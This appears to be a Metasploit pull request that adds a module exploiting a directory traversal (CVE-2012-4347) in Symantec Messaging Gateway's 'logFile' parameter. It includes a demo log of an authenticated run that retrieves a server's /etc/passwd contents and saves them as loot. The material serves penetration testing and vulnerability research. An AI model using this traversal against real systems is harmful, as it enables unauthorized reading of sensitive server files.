rapid7/metasploit-framework — pull request #1152 by wchen-r7 (2012-12-11 00:12:49+00:00)
Title: Add CVE-2012-4347 Symantec Messaging Gateway Log File Download

This module will download a file of your choice against Symantec Messaging Gateway. This is possible by exploiting a directory traversal vulnerability when handling the 'logFile' parameter, which will load an arbitrary file as an attachment. Note that authentication is required in order to successfully download your file.

Demo:

msf auxiliary(symantec_brightmail_logfile) > run

[+] 10.0.1.123:41080 - Logged in as 'admin:goodpass'

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
mysql:x:100:101:MySQL server:/data/mysql/data:/bin/bash
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:101:102::/home/postfix:/bin/bash
mailwall:x:500:501::/home/mailwall:/bin/bash
bcc:x:501:99::/home/bcc:/bin/bash
support:x:502:503::/home/support:/bin/bash
admin:x:503:501::/home/admin:/bin/rbash
named:x:25:25:Named:/var/named:/sbin/nologin

[+] 10.0.1.123:41080 - File saved as: '/Users/sinn3r/.msf4/loot/20121210180914_default_10.0.1.123_symantec.brightm_311957.bin'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(symantec_brightmail_logfile) >